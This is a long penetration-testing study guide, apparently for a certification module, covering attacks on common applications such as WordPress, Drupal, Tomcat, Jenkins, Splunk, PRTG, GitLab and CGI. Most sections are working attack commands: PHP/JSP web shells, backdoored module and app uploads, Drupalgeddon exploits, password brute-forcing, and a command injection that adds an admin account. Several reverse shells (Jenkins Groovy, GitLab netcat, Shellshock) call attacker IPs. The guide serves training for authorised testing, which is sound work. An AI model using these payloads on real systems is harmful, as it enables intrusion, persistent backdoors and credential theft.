← Condensed cheat sheet · Workflow dashboard · Web enum deep-dive
Attacking Common Applications — Full Guide fas:ClipboardList
[!dashboard] What this is The long-form companion to the Attacking Common Applications cheat sheet. The cheat sheet is the card you keep open during a box; this guide is the walkthrough that explains why each step works, section by section, across the whole CPTS module. Reach for the cheat sheet mid-engagement and this guide when you’re learning the material or writing it up.
Off-the-shelf applications are the softest part of most networks. A company patches its OS fleet and hardens AD, then leaves a Tomcat manager on tomcat:tomcat, a Splunk trial that quietly lost its login, or a WordPress plugin that hasn’t shipped a fix since 2016. These apps sit on both the perimeter and the internal network, and one weak credential or forgotten install is often the whole foothold.
Every target in this module answers to the same loop, so learn the loop rather than memorising eleven separate exploits:
[!danger] Authorised testing only Every technique below is full exploitation — unauth RCE, credential theft, backdoored uploads. Run it only against systems you are explicitly authorised to test (a lab, a signed engagement). Three things to keep honest on a real assessment:
- Admin-console RCE plants a live backdoor. A web shell in
404.php, an uploaded WAR, a malicious Splunk app — each is a real backdoor on a real box. Track every artefact you drop, its full path, and remove it at cleanup.- Some chains are destructive. Joomla’s CVE-2019-10945 can delete directories; Drupalgeddon writes to the database. Prefer read-only proof where you can.
- OSINT and breach-data lookups touch third parties. Keep them inside the rules of engagement.
[!success]+ Landing a shell — implant + hand-off
fas:SpiderMatch the web-shell language to the server, then hand off to the right privesc guide:
- PHP (WordPress, Joomla, Drupal, osTicket): drop rp-shell.php or a one-line
system($_GET[...]).- JSP (Tomcat, ColdFusion-on-Java): package rp-shell.jsp as a WAR.
- ASP/ASPX (IIS): VBScript →
.asp, C# →.aspx. Cross the wires and IIS answersServer Error in '/' Application.- Windows app host (IIS, PRTG, Jenkins-on-Windows, ColdFusion): Windows PrivEsc — service accounts here almost always hold
SeImpersonatePrivilege.- Linux app host (WordPress, Drupal, GitLab, Splunk, CGI): Linux PrivEsc. Full shell catalogue and handler notes: Web Shells.
1 · Application discovery at scale fas:Terminal
Browsing every IP:port by hand does not scale past a handful of hosts. The workable approach is two Nmap passes feeding a screenshotter, so a wall of open ports becomes a ranked list of applications worth opening.
Lab exercises with FQDN vhosts need /etc/hosts entries first, since every vhost resolves to the one spawned IP:
IP=10.129.42.195
printf "%s\t%s\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts
Sweep the scope for the ports web apps and their management consoles live on, writing all three Nmap formats so the XML can feed a screenshotter:
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
--open drops closed/filtered noise; -oA writes .nmap/.gnmap/.xml; -iL reads targets from a file. Then run version detection on anything that answered — this is the step that turns “http on a weird port” into “Splunkd on 8000, PRTG on 8080”:
sudo nmap --open -sV 10.129.201.50
80/tcp open http Microsoft IIS httpd 10.0
8000/tcp open http Splunkd httpd
8080/tcp open http Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open ssl/http Splunkd httpd (free license; remote login disabled)
Feed the XML to a screenshotter and review the report — high-value targets surface first, and identical default landing pages cluster together so you can skip a fleet of clones:
# EyeWitness (Selenium-driven, ships on Kali)
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
# Aquatone (pipe the same Nmap XML)
cat web_discovery.xml | ./aquatone -nmap
[!tip]+ Modern triage — httpx + nuclei
fas:LightbulbEyeWitness and Aquatone still work and still ship on Kali, but the Go tooling is faster and better maintained.httpx -screenshotprobes and fingerprints huge lists quickly and pipes straight intonucleifor follow-on scanning;gowitnessis a headless-Chrome screenshotter that sets up in seconds. Fold Splunk’sSplunkd httpd, PRTG’sIndy httpd, and Tomcat’sServerbanner into anucleifingerprint pass across the whole scope.
[!info] Flag the non-prod vhosts first Hostnames with
dev,qa,acc,stage, ortestare patched last and gated loosest — verbose errors, debug modes, half-finished features. When the screenshot report lists a dozen sites, start there.
2 · WordPress fas:Terminal — PHP, port 80
WordPress runs roughly a third of the web, so it turns up on almost every external test. The risk lives in its ~50k-plugin ecosystem, not in core — over half of known WordPress CVEs are plugin or theme bugs. Two reliable routes to code execution: brute an admin login and use the built-in Theme Editor, or exploit a vulnerable plugin directly.
Footprint. The wp-admin/wp-content paths (also in robots.txt) are the fastest tell — hitting /wp-admin redirects to wp-login.php. Grepping the homepage source reveals the active theme, every enqueued plugin, and each version string:
curl -s http://blog.inlanefreight.local | grep -Ei 'wordpress|themes|plugins'
# <meta name="generator" content="WordPress 5.8" />
# ...wp-content/themes/transport-gravity/... ?ver=5.8
A directory listing on wp-content/plugins/<plugin>/ often exposes a readme.txt that pins the exact plugin version for a CVE lookup. WordPress’s default login also leaks valid usernames: “unknown user” and “wrong password” produce different errors — an enumeration oracle WPScan drives with --enumerate u.
Enumerate with WPScan. An API token cross-references identified versions against the live vuln database (free tier: 75 requests/day):
sudo wpscan --url http://blog.inlanefreight.local --enumerate --api-token <TOKEN>
# --enumerate with no arg = plugins, themes, users, media, backups
# --enumerate ap = all plugins · --enumerate u = users
[!warning] Scanners and manual review are complementary In the module’s own run, WPScan corrected the theme guess and found a second user (
john) — but missed two plugins (wpDiscuz, Contact Form 7) that a plaincurl | grepcaught. Always do both.waybackurlscan also surface plugin paths that were unlinked but never deleted from disk — exactly what left mail-masta exploitable.
Brute force over XML-RPC. xmlrpc.php accepts many login attempts per request, so it is far faster than hammering wp-login.php:
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local
# [SUCCESS] - john / firebird1
RCE via the Theme Editor. Any Administrator can edit theme PHP in the browser — admin is effectively RCE. Edit an inactive theme so you don’t break the live site, and use an unguessable parameter name so a passer-by can’t reuse your shell:
// Appearance → Theme Editor → Twenty Nineteen → 404.php
system($_GET[0]);
curl "http://blog.inlanefreight.local/wp-content/themes/twentynineteen/404.php?0=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
The whole flow is automated by exploit/unix/webapp/wp_admin_shell_upload (uploads a malicious plugin carrying a PHP Meterpreter, then self-cleans on session close).
Vulnerable plugins, no login needed.
# mail-masta — unauthenticated LFI (pl= goes straight into include())
curl -s "http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
# wpDiscuz CVE-2020-24186 — client-side-only MIME check → PHP upload
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
curl -s "http://blog.inlanefreight.local/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"
3 · Joomla fas:Terminal — PHP/MySQL
Third-most-used CMS. Unlike WordPress, the login returns a generic error for any wrong field, so username enumeration doesn’t work — footprinting leans on files, and brute forcing targets the known admin account with a password list.
Footprint and version. The generator meta tag, robots.txt (references /administrator/), and README.txt are the quick tells. Two XML files leak the exact version when readable:
curl -s http://dev.inlanefreight.local/ | grep Joomla
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
# <version>3.9.4</version> (also plugins/system/cache/cache.xml)
whatweb is a fast passive cross-check. droopescan has only light Joomla support — expect useful paths, not a full plugin list:
droopescan scan joomla --url http://dev.inlanefreight.local/
[!tip] JoomlaScan is Python 2.7 and effectively abandoned It still runs but treat it as supplementary. There’s no drop-in successor with the same feature set —
droopescanplus manualcurl/whatwebis the more reliable Joomla combination now.
Brute the admin login (generic error → spray passwords against admin):
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
# Success: admin:admin
RCE via the template Customise editor — same idea as WordPress’s Theme Editor:
// Configuration → Templates → protostar → Customise → error.php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
Pre-/post-auth fallback — CVE-2019-10945 (core 1.5.0–3.9.4): an authenticated directory traversal that lists and deletes arbitrary directories. Useful when the admin portal isn’t externally reachable but you have a session another way. File deletion is destructive — avoid it on a live assessment.
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
4 · Drupal fas:Terminal
Smaller share overall but common in government and higher-ed. Its content model — every item is a “node” at /node/<id> — is a fingerprint on its own. Admin access alone isn’t instant RCE here: you enable the PHP Filter module, upload a backdoored module, or use one of the three Drupalgeddon CVEs.
Footprint. Powered by Drupal, the Drupal logo, CHANGELOG.txt/README.txt, and /node/<id> URIs. Newer versions block CHANGELOG.txt, so a 404 there doesn’t rule Drupal out — fall back to droopescan, which has mature Drupal support:
curl -s http://drupal.inlanefreight.local | grep -i drupal
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 "" # Drupal 7.57, 2018-02-21
droopescan scan drupal -u http://drupal.inlanefreight.local
RCE — PHP Filter module (Drupal 7). Ships with core but disabled. Enable it, then create a Basic page with the “PHP code” text format:
<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>
curl -s "http://drupal-qa.inlanefreight.local/node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id"
Drupal 8 removed the module from core — download and install it manually (Reports → Available updates → Install new module), then exploit identically.
RCE — backdoored module upload (any version). Drupal blocks direct access to /modules, so bundle an .htaccess that re-enables it alongside your shell inside a legitimate module archive:
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz && tar xvf captcha-8.x-1.2.tar.gz
# shell.php: <?php system($_GET['fe8edbabc5c5c9b7b764504cd22b17af']); ?>
# .htaccess: <IfModule mod_rewrite.c>\n RewriteEngine On\n RewriteBase /\n</IfModule>
mv shell.php .htaccess captcha && tar cvf captcha.tar.gz captcha/
# Manage → Extend → + Install new module → captcha.tar.gz
curl -s "http://drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
Drupalgeddon family:
# CVE-2014-3704 (Drupalgeddon) · pre-auth SQLi, 7.0–7.31 → inserts a rogue admin
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u hacker -p pwnd
# msf: exploit/multi/http/drupal_drupageddon
# CVE-2018-7600 (Drupalgeddon2) · pre-auth RCE, <7.58 / <8.5.1
python3 drupalgeddon2.py # edit the PoC's write step to drop a base64 PHP shell instead of hello.txt
curl "http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id"
# CVE-2018-7602 (Drupalgeddon3) · authenticated RCE (needs node-delete rights + session cookie)
# msf: set DRUPAL_SESSION <cookie> ; set DRUPAL_NODE 1 ; set VHOST drupal-acc.inlanefreight.local
[!tip] Prefer the Metasploit modules The standalone Drupalgeddon PoCs are Python 2 (end-of-life).
drupal_drupageddonanddrupal_drupageddon3do the same job without a legacy interpreter on your attack box.
5 · Tomcat fas:Terminal — 8080/8180, AJP 8009
Apache Tomcat serves Java servlets/JSP and is more common internally than externally. Weak creds on /manager or /host-manager let you deploy a WAR (a zipped JSP shell) through the GUI or API — near-instant RCE, usually as a very privileged service account.
[!info] Tomcat layout worth knowing
conf/tomcat-users.xmlholds manager credentials and roles (manager-gui,manager-script,manager-jmx,manager-status).webapps/<app>/WEB-INF/web.xmlis the deployment descriptor mapping routes to classes — a prime target for any file-read primitive.
Footprint and locate the manager. The Server header leaks the version when a proxy hasn’t stripped it; /docs is a reliable fallback. Content-discovery confirms the manager apps:
curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat # Apache Tomcat 9 (9.0.30)
feroxbuster -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
# /manager (302) · /host-manager (302)
Brute the manager login (Basic Auth — creds are base64 user:pass in the Authorization header):
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
# [+] Login Successful: tomcat:admin
Deploy a WAR-packaged JSP shell. A WAR is just a zip; Tomcat auto-extracts uploads and serves them at /<archive-name>/:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# Manager → Deploy → backup.war
curl "http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id" # uid=1001(tomcat)
# Reverse-shell WAR in one line:
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > backup.war
Undeploy the app after use and record the upload path ($CATALINA_HOME/webapps/) for the report.
CVE-2020-1938 (Ghostcat) — unauthenticated AJP file read on Tomcat < 9.0.31 / 8.5.51 / 7.0.100. The AJP connector (normally for front-end proxying) reads files under webapps/ — not the whole filesystem, but enough to pull WEB-INF/web.xml:
nmap -sV -p 8009,8080 app-dev.inlanefreight.local # 8009 ajp13 Apache Jserv
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
CVE-2019-0232 — CGI Servlet command injection, Windows only, with enableCmdLineArguments set. The query string isn’t sanitised before becoming command-line arguments, so & chains a command onto a legitimate .bat/.cmd CGI script. The special-char filter is bypassable with URL encoding:
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://10.129.204.227:8080/cgi/FUZZ.bat # welcome.bat
# http://10.129.204.227:8080/cgi/welcome.bat?&dir
# http://10.129.204.227:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe
6 · Jenkins fas:Terminal — 8080 (agent 5000)
Jenkins is a CI server that frequently runs as SYSTEM (Windows) or root (Linux). Any authenticated access — even anonymous, if misconfigured — reaches the /script Groovy console, and Groovy compiles to JVM bytecode running with the full privileges of the Jenkins process. That makes it a fast, privileged foothold straight into an AD environment, skipping local privesc entirely.
Access the console at http://jenkins.inlanefreight.local:8000/script. Run a command:
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
Reverse shell (Linux) — pass the payload as a raw process array to dodge Groovy string-interpolation issues:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
nc -lvnp 8443 # → uid=0(root)
Windows — "cmd.exe /c dir".execute() runs commands; a PowerShell download cradle or a raw Java-socket reverse shell avoids leaving a permanent change (and dodges PowerShell monitoring).
[!tip] Check misconfig before hunting CVEs The old chained sandbox-bypass RCEs (CVE-2018-1999002 + CVE-2019-1003000) were fixed by the 2.303.1 LTS. Against a modern install, checking whether anonymous users have read/build/job-create rights is usually more productive than a version-specific exploit. Confirm the LTS version first.
7 · Splunk fas:Terminal — 8000 (mgmt 8089)
Splunk has few exploitable CVEs; the risk is weak or absent auth plus built-in functionality. A forgotten Enterprise trial silently downgrades to the auth-free Free edition after 60 days. Once you have admin — via no auth or weak creds — a custom app with a scripted input runs an arbitrary script on a schedule, as the Splunk service account (often SYSTEM/root).
Fingerprint. Both 8000 and 8089 reporting Splunkd httpd is definitive. Try admin:changeme (shown on old login pages) and common weak passwords if the trial scenario doesn’t apply.
Build a malicious app. Two files: the script Splunk runs, and the inputs.conf that schedules it (the interval field is mandatory — no interval, no execution):
# splunk_shell/default/inputs.conf
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
:: splunk_shell/bin/run.bat → launches a hidden PowerShell reverse shell
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
Package and upload — the app enables on upload and fires within interval seconds:
tar -cvzf updater.tar.gz splunk_shell/
sudo nc -lnvp 443
# Manage Apps → Install app from file → updater.tar.gz → Upload → whoami: nt authority\system
[!info] Pivot via a deployment server If the compromised instance is a Splunk deployment server, dropping the app in
$SPLUNK_HOME/etc/deployment-appspushes it to every Universal Forwarder that checks in — one box becomes RCE across the fleet. Full Splunk ships Python (great for a Linux payload); Universal Forwarders don’t, so use PowerShell on a Windows fleet.
8 · PRTG Network Monitor fas:Terminal — 8080
PRTG (Paessler, Delphi) is an agentless monitor, rarely internet-facing but common internally (and the HTB box Netmon). Default prtgadmin:prtgadmin is often pre-filled and unchanged. Once in, CVE-2018-9276 turns a notification’s “Execute Program” action into command execution as the PRTG account — frequently local admin.
Fingerprint and version. Indy httpd ... Paessler PRTG bandwidth monitor in the banner is definitive; 17.3.33.2830 predates the 18.2.39 fix:
sudo nmap -sV -p- --open -T4 10.129.201.50
curl -s "http://10.129.201.50:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep version
Exploit CVE-2018-9276. The Parameter field is concatenated unsanitised into the PowerShell behind outfile.ps1, so a ; chains your own command. It’s blind — PRTG gives no feedback:
Setup → Account Settings → Notifications → Add new notification
Program File: Demo exe notification - outfile.ps1
Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
Save → Test
Confirm out of band (scheduling instead of Test also gives lightweight persistence):
sudo nxc smb 10.129.201.50 -u prtgadm1 -p 'Pwn3d_by_PRTG!' # (Pwn3d!) = local admin over SMB
[!tip] CrackMapExec → NetExec
crackmapexecis superseded by the maintained fork NetExec (nxc) — same syntax family. On a real test, prefer a reverse shell over adding an account to keep the footprint small.
9 · osTicket fas:Terminal — methodology, not a CVE
osTicket is well-maintained with a thin CVE history, so this section is a pattern that applies to any helpdesk (Zendesk, Freshdesk, Jira Service Desk): support portals hand out real company email addresses, and the humans running them leak credentials. This is the chain behind HTB’s Delivery.
Fingerprint. Nmap only sees the webserver — the OSTSESSID cookie and footer branding identify osTicket.
Harvest an address. Submitting a ticket returns a dedicated reply-to address — a valid company email you can use to self-register on other services requiring email verification.
Cross-reference breach data against the domain:
sudo python3 dehashed.py -q inlanefreight.local -p
# email: kevin@inlanefreight.local · username: kgrimes · password: Fish1ng_s3ason!
Try both username and email on any login — kevin@… succeeded where kgrimes failed. Then mine the agent’s closed tickets: password resets, VPN troubleshooting, and the classic “standard new-joiner password” sent in plaintext are all fair game. Export the address book as a ready-made spray list (linkedin2username helps build one from employee names).
[!tip] Newer replacements exist Dehashed is the module’s reference;
Have I Been Pwned(API-gated) andintelx.ioare common complements. Keep every breach-data lookup inside the engagement’s rules of engagement.
10 · GitLab fas:Terminal — lab port 8081
Self-hosted Git with wikis, issues, and CI/CD. Public and internal repos leak hardcoded secrets, SSH keys, and infra clues. GitLab has a long CVE list, but the most reliable finding is usually that self-registration is on, letting you walk in and browse internal projects.
Fingerprint and enumerate. The version only shows on /help after login, but /explore lists public projects unauthenticated — check it first. Username enumeration works via the registration oracle (“Email has already been taken”) even when sign-up is disabled, because /users/sign_up stays reachable:
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
# [+] The username root exists! [+] The username bob exists!
[!info] Lockout shapes your brute force GitLab’s default is 10 failed attempts, 10-minute auto-unlock, not changeable from the UI (it needs a source rebuild). Pace credential attacks against a discovered user list accordingly. GitLab doesn’t even class username enumeration as a bug — but it directly feeds spray lists.
Register and mine repos for hardcoded credentials, committed secrets in history, snippets, and stray SSH keys.
CVE — GitLab CE ≤ 13.10.2 authenticated RCE via ExifTool (self-registration makes the required creds trivial):
python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 \
-c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f'
nc -lnvp 8443 # → uid=996(git)
[!tip] The unauth successor CVE-2021-22205 is an unauthenticated ExifTool RCE in a slightly later range and the more commonly cited GitLab bug. GitLab patches fast — always match the exact CE/EE version against current advisories before trusting either.
11 · CGI & Shellshock fas:Terminal
CGI is legacy middleware that hands requests to scripts in cgi-bin. It’s mostly gone from modern servers but lingers on embedded/IoT gear. The classic attack is Shellshock (CVE-2014-6271): vulnerable Bash (≤ 4.3) mis-parses a function definition in an environment variable and runs anything appended after it — and CGI copies HTTP headers into environment variables.
Understand the bug — everything after the closing }; runs on a vulnerable shell:
env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
# vulnerable host prints "vulnerable-shellshock" as well
Discover a CGI script (a 200 with zero length still counts — it just produced no output for a GET):
feroxbuster -u http://10.129.204.231/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi
# /access.cgi (200) [Size: 0]
Confirm via User-Agent, then shell — the double echo ; gives a clean response separator:
# read a file
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' http://10.129.204.231/cgi-bin/access.cgi
# reverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' http://10.129.204.231/cgi-bin/access.cgi
sudo nc -lvnp 7777 # → www-data
Referer and Cookie can be injection points too — any header CGI turns into an environment variable works.
12 · Thick client applications fas:Terminal
Thick (fat) clients run real logic locally — Java/.NET/C++ CRMs, internal utilities, project tools. They dodge browser bugs (XSS, CSRF) but fall to hardcoded credentials, insecure local storage, DLL hijacking, and — for three-tier apps — the same SQLi/path-traversal you’d find on the web, once you reverse the protocol.
[!info] Two-tier vs three-tier Two-tier: client talks straight to the DB — the client binary can potentially reach it directly. Three-tier: client → app server → DB. Safer by design, but the middle tier becomes attackable with web-style bugs once you reverse its protocol.
Toolkit — reversing: Ghidra, IDA, dnSpyEx, x64dbg, JADX, JD-GUI, de4dot. Dynamic: Process Monitor, Frida, OllyDbg. Network: Wireshark, tcpdump, Burp (for proxyable TCP).
Capture a self-cleaning dropper’s payload (the Restart-Oracle-Service scenario). The EXE drops a .bat, decodes a base64 EXE, runs it, deletes both. Deny delete on the temp folder before re-running so the artefacts survive:
ProcMon64 → watch %LOCALAPPDATA%\Temp for the dropped file
Temp → Properties → Security → Advanced → Disable inheritance
→ deselect "Delete subfolders and files" and "Delete"
Re-run the EXE → the .bat now survives (it base64-decodes oracle.txt → restart-service.exe)
Recover hardcoded creds from memory. In x64dbg, restrict breakpoints to Exit so you land in the app’s own code, find an -RW- region with an MZ header (an in-memory PE hiding from disk AV), and dump it:
strings64.exe .\restart-service_00000000001E0000.bin # .NETFramework,Version=v4.0
# de4dot deobfuscates the dump → dnSpy reads it as near-original C# with creds inline
Reverse a client/server app (Fatty, condensed). Patch the hardcoded port in the JAR’s Spring config, then strip the JAR’s own integrity check so the modified client runs:
Select-String -Path fatty-client\* -Pattern "8000" -Recurse # beans.xml <constructor-arg index="1" value="8000"/>
# edit the port; delete SHA-256 digests from META-INF/MANIFEST.MF and the .RSA/.SF files; jar -cmf to rebuild
Bypass client-side access control (path traversal). The server strips / from folder names, but the client decides what to send — decompile and patch it to send ..:
JD-GUI → decompile → ClientGuiTest.java: currentFolder = "configs" → ".."
javac -cp fatty-client-new.jar ...\ClientGuiTest.java # swap only the patched .class into the JAR
SQLi in the decompiled server logic. The username is concatenated into the query; the password is hashed client-side (SHA-256(user+pass+secret)), so ' OR '1'='1 fails the hash compare. A UNION injection supplies every column directly, and patching setPassword() to send plaintext makes the client value match the injected literal:
// server: "SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'"
// login: qtc' UNION SELECT 1,'abc','a@a','abc','admin (password: abc)
[!tip] Maintained forks
dnSpyis archived — use dnSpyEx. Ghidra is a fully viable free IDA alternative for native code; reach for IDA only where its decompiler handles a specific architecture better. Frida hooks a suspected function without a full static pass.
13 · ColdFusion fas:Terminal — port 8500
ColdFusion (CFML, Adobe) is Java-based with a recognisable footprint: .cfm/.cfc extensions, port 8500 for SSL, and /CFIDE/administrator/. Older versions carry a traversal that leaks the encrypted datasource store and an unauth RCE via the bundled FCKeditor.
Fingerprint on port 8500 + CFIDE/cfdocs in the webroot; the admin login often discloses the major version. Then match exploits:
nmap -p- -sC -Pn 10.129.247.30 --open # 8500/tcp open fmtp
searchsploit adobe coldfusion
# Directory Traversal ............ multiple/remote/14641.py
# ColdFusion 8 - RCE ............. cfm/webapps/50057.py
CVE-2010-2861 — traversal to leak password.properties (mishandled locale param in several bundled .cfm files). Values are encrypted, but it’s the credential store for every datasource CF connects to:
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
# password=2F635F... encrypted=true
CVE-2009-2265 — unauth RCE via the FCKeditor connector (/CFIDE/scripts/ajax/FCKeditor/.../upload.cfm accepts an arbitrary file upload). The PoC uploads a JSP, triggers it, and cleans up:
python3 50057.py # generates + uploads JSP payload, catches the shell as the CF service account
[!tip] Both CVEs are CF 8/9-era Current ColdFusion (2021/2023) has a very different, hardened surface. Confirm the version from
/CFIDE/administratoror theServerheader before assuming either applies; pairsearchsploitwith a manual NVD/vendor check.
14 · IIS tilde (8.3 short-name) enumeration fas:Terminal
Windows generates a legacy 8.3 short name for every file (somefi~1.txt) for DOS compatibility. Some IIS versions answer tilde-prefixed requests differently depending on whether a prefix matches, so you can rebuild hidden names one character at a time — turning “guess the whole filename” into “guess an 8-char prefix”.
Fingerprint and scan (the numeric args tune threads/requests; it reports the working HTTP method and every partial name):
nmap -p- -sV -sC --open 10.129.224.91 # Microsoft IIS httpd 7.5
java -jar iis_shortname_scanner.jar 0 5 http://10.129.204.231/
# Vulnerable! · method: OPTIONS · dirs: ASPNET~1, UPLOAD~1 · files: CSASPX~1.CS, TRANSF~1.ASP
Narrow the partial name into a wordlist, then recover the full filename:
egrep -r ^transf /usr/share/wordlists/* | sed 's/^[^:]*://' > /tmp/list.txt
feroxbuster -u http://10.129.204.231/ -w /tmp/list.txt -t 50 -x aspx,asp
# /transfer.aspx (200)
[!tip] It’s a legacy behaviour Modern IIS/.NET configs often have this disabled. Always let the scanner’s own vulnerability check confirm applicability before you spend time building wordlists.
15 · LDAP injection & mass assignment fas:Terminal
Two source-driven bug classes. LDAP-backed logins that concatenate input into a filter fall to injection (the LDAP cousin of SQLi). Framework “mass assignment” binds a whole form onto a model, letting you set fields — admin, confirmed — that were never meant to be user-controllable.
[!info] LDAP vs Active Directory LDAP is a protocol for querying directory data; Active Directory is a directory service that speaks LDAP (plus Kerberos, DNS, and more). OpenLDAP is the common cross-platform implementation you meet outside pure-Windows shops. Injection metacharacters:
*(wildcard),()(grouping),&/|(AND/OR) —(cn=*)is the' OR '1'='1of LDAP.
Query directly to understand the schema, then look for ldap/389 next to a web login (a strong hint the login is LDAP-backed):
ldapsearch -H ldap://ldap.example.com:389 -D "cn=admin,dc=example,dc=com" -w secret123 \
-b "ou=people,dc=example,dc=com" "(mail=jdoe@example.com)"
nmap -p- -sC -sV --open --min-rate=1000 10.129.204.229 # 389/tcp OpenLDAP
Bypass with a wildcard — Username: * / Password: * builds a filter that matches any user with a non-empty password.
Mass assignment. The vulnerable pattern only checks whether a field exists — its value is irrelevant:
try:
if request.form['confirmed']: # existence check only
cond = True
except:
cond = False
# Burp: add a field the real form never exposes
POST /register
username=new&password=test&confirmed=test
The Rails equivalent (attr_accessible :username, :email) breaks the same way — smuggle admin: true inside the user hash. Modern Rails uses Strong Parameters (params.require(:user).permit(:username, :email)), which whitelists — but an over-broad permit! re-opens the hole. Fix is always explicit whitelisting, never a blacklist or existence check.
16 · Applications connecting to services fas:Terminal
Apps that talk to a backend commonly embed a connection string with live credentials in the compiled binary, not a greppable config file. Recover it from two formats — an ELF in a debugger, a .NET DLL in a decompiler — and test the creds for reuse elsewhere.
[!info] Why not just
strings? Connection strings are often assembled at runtime from reordered, endianness-reversed fragments, so a flatstringspass can miss the finished value. A breakpoint at the actual connect API captures the complete string.
ELF → MS SQL. Run it to learn the driver API (SQLDriverConnect), disassemble, breakpoint the call, and read the register:
gdb ./octopus_checker
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disas main # find call to SQLDriverConnect@plt
gdb-peda$ b *0x5555555551b0
gdb-peda$ run
# RDX: "DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;"
.NET DLL. IL decompiles cleanly — triage the metadata, then read the controller in dnSpy:
Get-FileMetaData .\MultimasterAPI.dll # .NETFramework v4.6.1 · api/getColleagues
# dnSpy → MultimasterAPI.Controllers.ColleagueController → connection string inline
[!tip] Maintained tooling GEF is the actively maintained GDB extension (successor to PEDA). dnSpyEx for .NET. For a fast first pass,
strings+binwalk/floss(FLARE Obfuscated String Solver) sometimes recovers runtime-built strings without a debugger.
17 · Other applications & hardening fas:BookOpen
The specific apps above are practice material for one transferable method. Applied to anything unfamiliar:
Honourable mentions
| Application | Where to start |
|---|---|
| Axis2 | Often on Tomcat. Weak/default admin creds → upload a web shell as an AAR (like a Tomcat WAR). Metasploit module exists. |
| WebSphere | Default system:manager → deploy a WAR for RCE. |
| Elasticsearch | Multiple serious CVEs; hunt forgotten/unauth instances (HTB Haystack). |
| Zabbix | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE; the API itself is abusable (HTB Zipper). |
| Nagios | History of RCE/privesc/SQLi/XSS. Default nagiosadmin:PASSW0RD. |
| WebLogic | Java EE server, 190+ CVEs, many unauth deserialisation RCEs (2007–2021). |
| Wikis/intranets | MediaWiki, SharePoint, custom builds — known CVEs plus search features that surface credentials. |
| DotNetNuke (DNN) | .NET CMS — auth bypass, traversal, file-upload bypass, arbitrary download. SQL Console → xp_cmdshell. |
| vCenter | Weak creds + CVE-2021-22005 (unauth OVA-upload RCE). Often already SYSTEM or domain admin — a single point of full compromise. |
Hardening reference
- Authentication: strong passwords, change/disable default admin accounts, MFA for admins.
- Access controls: keep admin/login pages internal unless there’s a real need; deny uploads/deploys where not required.
